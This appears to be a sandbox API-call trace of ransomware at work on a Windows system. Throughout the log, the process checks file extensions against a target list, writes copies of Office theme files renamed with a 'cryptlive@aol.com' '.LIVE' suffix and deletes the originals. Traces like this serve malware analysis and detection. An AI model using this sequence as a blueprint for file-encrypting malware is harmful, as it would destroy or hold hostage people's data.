(lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx")) returned 1 [0136.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0136.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0136.577] lstrlenW (lpString=".doc") returned 4 [0136.577] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0136.577] lstrlenW (lpString=".docx") returned 5 [0136.577] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0136.577] lstrlenW (lpString=".pdf") returned 4 [0136.577] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0136.578] lstrlenW (lpString=".xls") returned 4 [0136.578] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0136.578] lstrlenW (lpString=".xlsx") returned 5 [0136.578] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0136.578] lstrlenW (lpString=".ppt") returned 4 [0136.578] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0136.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0136.578] lstrlenW (lpString=".zip") returned 4 [0136.578] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0136.578] lstrlenW (lpString=".rar") returned 4 [0136.578] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0136.578] lstrlenW (lpString=".bz2") returned 4 [0136.578] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0136.578] lstrlenW (lpString=".7z") returned 3 [0136.578] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0136.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0136.578] lstrlenW (lpString=".dbf") returned 4 [0136.578] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0136.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0136.578] lstrlenW (lpString=".1cd") returned 4 [0136.578] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0136.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0136.578] lstrlenW (lpString=".jpg") returned 4 [0136.578] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0136.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0136.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0136.578] lstrlenW (lpString=".doc") returned 4 [0136.578] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0136.578] lstrlenW (lpString=".docx") returned 5 [0136.578] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0136.578] lstrlenW (lpString=".pdf") returned 4 [0136.578] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0136.578] lstrlenW (lpString=".xls") returned 4 [0136.578] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0136.578] lstrlenW (lpString=".xlsx") returned 5 [0136.579] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0136.579] lstrlenW (lpString=".ppt") returned 4 [0136.579] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0136.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0136.579] lstrlenW (lpString=".zip") returned 4 [0136.579] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0136.579] lstrlenW (lpString=".rar") returned 4 [0136.579] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0136.579] lstrlenW (lpString=".bz2") returned 4 [0136.579] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0136.579] lstrlenW (lpString=".7z") returned 3 [0136.579] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0136.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0136.579] lstrlenW (lpString=".dbf") returned 4 [0136.579] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0136.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0136.579] lstrlenW (lpString=".1cd") returned 4 [0136.579] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0136.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0136.579] lstrlenW (lpString=".jpg") returned 4 [0136.579] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0136.579] lstrcmpiW (lpString1=".eftx", lpString2=".LIVE") returned -1 [0136.579] lstrlenW (lpString="Origin.eftx") returned 11 [0136.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0136.591] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=40941) returned 1 [0136.591] CloseHandle (hObject=0x3a8) returned 1 [0136.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx")) returned 0x20 [0136.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0136.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0136.645] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.645] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0136.646] GetLastError () returned 0x0 [0136.646] ReadFile (in: hFile=0x3ac, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x9fed, lpOverlapped=0x0) returned 1 [0136.656] WriteFile (in: hFile=0x1fc, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x9ff0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x9ff0, lpOverlapped=0x0) returned 1 [0136.658] ReadFile (in: hFile=0x3ac, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0136.658] WriteFile (in: hFile=0x1fc, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0136.658] SetEndOfFile (hFile=0x1fc) returned 1 [0136.658] CloseHandle (hObject=0x1fc) returned 1 [0136.658] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.658] SetEndOfFile (hFile=0x3ac) returned 1 [0136.662] CloseHandle (hObject=0x3ac) returned 1 [0136.662] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0136.756] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx")) returned 1 [0136.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0136.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0136.792] lstrlenW (lpString=".doc") returned 4 [0136.792] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0136.792] lstrlenW (lpString=".docx") returned 5 [0136.792] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0136.792] lstrlenW (lpString=".pdf") returned 4 [0136.792] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0136.792] lstrlenW (lpString=".xls") returned 4 [0136.792] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0136.792] lstrlenW (lpString=".xlsx") returned 5 [0136.792] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0136.792] lstrlenW (lpString=".ppt") returned 4 [0136.792] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0136.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0136.792] lstrlenW (lpString=".zip") returned 4 [0136.792] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0136.792] lstrlenW (lpString=".rar") returned 4 [0136.792] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0136.792] lstrlenW (lpString=".bz2") returned 4 [0136.792] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0136.793] lstrlenW (lpString=".7z") returned 3 [0136.793] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0136.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0136.793] lstrlenW (lpString=".dbf") returned 4 [0136.793] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0136.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0136.793] lstrlenW (lpString=".1cd") returned 4 [0136.793] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0136.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0136.793] lstrlenW (lpString=".jpg") returned 4 [0136.793] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0136.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0136.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0136.793] lstrlenW (lpString=".doc") returned 4 [0136.793] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0136.793] lstrlenW (lpString=".docx") returned 5 [0136.793] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0136.793] lstrlenW (lpString=".pdf") returned 4 [0136.793] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0136.793] lstrlenW (lpString=".xls") returned 4 [0136.793] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0136.793] lstrlenW (lpString=".xlsx") returned 5 [0136.793] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0136.793] lstrlenW (lpString=".ppt") returned 4 [0136.793] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0136.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0136.793] lstrlenW (lpString=".zip") returned 4 [0136.793] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0136.793] lstrlenW (lpString=".rar") returned 4 [0136.793] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0136.793] lstrlenW (lpString=".bz2") returned 4 [0136.793] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0136.793] lstrlenW (lpString=".7z") returned 3 [0136.793] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0136.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0136.794] lstrlenW (lpString=".dbf") returned 4 [0136.794] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0136.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0136.794] lstrlenW (lpString=".1cd") returned 4 [0136.794] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0136.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0136.794] lstrlenW (lpString=".jpg") returned 4 [0136.794] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0136.794] lstrcmpiW (lpString1=".eftx", lpString2=".LIVE") returned -1 [0136.794] lstrlenW (lpString="Technic.eftx") returned 12 [0136.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0137.393] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=23692) returned 1 [0137.393] CloseHandle (hObject=0x3b0) returned 1 [0137.393] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx")) returned 0x20 [0137.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0137.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0137.401] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.401] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0137.402] GetLastError () returned 0x0 [0137.402] ReadFile (in: hFile=0x390, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x5c8c, lpOverlapped=0x0) returned 1 [0137.415] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x5c90, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x5c90, lpOverlapped=0x0) returned 1 [0137.416] ReadFile (in: hFile=0x390, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0137.416] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0137.417] SetEndOfFile (hFile=0x3a8) returned 1 [0137.425] CloseHandle (hObject=0x3a8) returned 1 [0137.425] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.425] SetEndOfFile (hFile=0x390) returned 1 [0137.428] CloseHandle (hObject=0x390) returned 1 [0137.428] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0137.437] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx")) returned 1 [0137.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0137.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0137.473] lstrlenW (lpString=".doc") returned 4 [0137.475] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0137.478] lstrlenW (lpString=".docx") returned 5 [0137.478] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0137.478] lstrlenW (lpString=".pdf") returned 4 [0137.478] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0137.478] lstrlenW (lpString=".xls") returned 4 [0137.478] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0137.478] lstrlenW (lpString=".xlsx") returned 5 [0137.478] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0137.478] lstrlenW (lpString=".ppt") returned 4 [0137.478] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0137.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0137.478] lstrlenW (lpString=".zip") returned 4 [0137.478] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0137.478] lstrlenW (lpString=".rar") returned 4 [0137.478] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0137.478] lstrlenW (lpString=".bz2") returned 4 [0137.478] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0137.478] lstrlenW (lpString=".7z") returned 3 [0137.478] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0137.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0137.479] lstrlenW (lpString=".dbf") returned 4 [0137.479] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0137.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0137.479] lstrlenW (lpString=".1cd") returned 4 [0137.479] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0137.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0137.479] lstrlenW (lpString=".jpg") returned 4 [0137.479] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0137.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0137.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0137.479] lstrlenW (lpString=".doc") returned 4 [0137.479] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0137.479] lstrlenW (lpString=".docx") returned 5 [0137.479] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0137.479] lstrlenW (lpString=".pdf") returned 4 [0137.479] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0137.479] lstrlenW (lpString=".xls") returned 4 [0137.479] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0137.479] lstrlenW (lpString=".xlsx") returned 5 [0137.479] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0137.479] lstrlenW (lpString=".ppt") returned 4 [0137.479] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0137.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0137.479] lstrlenW (lpString=".zip") returned 4 [0137.479] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0137.479] lstrlenW (lpString=".rar") returned 4 [0137.479] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0137.479] lstrlenW (lpString=".bz2") returned 4 [0137.479] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0137.479] lstrlenW (lpString=".7z") returned 3 [0137.479] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0137.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0137.479] lstrlenW (lpString=".dbf") returned 4 [0137.479] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0137.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0137.480] lstrlenW (lpString=".1cd") returned 4 [0137.480] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0137.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0137.480] lstrlenW (lpString=".jpg") returned 4 [0137.480] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0137.480] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0137.480] lstrlenW (lpString="AUTOSHAP.DLL") returned 12 [0137.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\autoshap.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0137.482] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=15776) returned 1 [0137.482] CloseHandle (hObject=0x384) returned 1 [0137.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\autoshap.dll")) returned 0x20 [0137.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\autoshap.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0137.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\autoshap.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0137.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0137.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0137.483] lstrlenW (lpString=".doc") returned 4 [0137.483] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0137.483] lstrlenW (lpString=".docx") returned 5 [0137.483] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0137.483] lstrlenW (lpString=".pdf") returned 4 [0137.483] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0137.483] lstrlenW (lpString=".xls") returned 4 [0137.483] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0137.483] lstrlenW (lpString=".xlsx") returned 5 [0137.483] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0137.483] lstrlenW (lpString=".ppt") returned 4 [0137.483] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0137.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0137.483] lstrlenW (lpString=".zip") returned 4 [0137.483] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0137.483] lstrlenW (lpString=".rar") returned 4 [0137.483] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0137.483] lstrlenW (lpString=".bz2") returned 4 [0137.483] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0137.483] lstrlenW (lpString=".7z") returned 3 [0137.483] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0137.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0137.483] lstrlenW (lpString=".dbf") returned 4 [0137.483] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0137.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0137.483] lstrlenW (lpString=".1cd") returned 4 [0137.483] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0137.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0137.484] lstrlenW (lpString=".jpg") returned 4 [0137.484] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0137.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0137.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0137.484] lstrlenW (lpString=".doc") returned 4 [0137.484] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0137.484] lstrlenW (lpString=".docx") returned 5 [0137.484] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0137.484] lstrlenW (lpString=".pdf") returned 4 [0137.484] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0137.484] lstrlenW (lpString=".xls") returned 4 [0137.484] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0137.484] 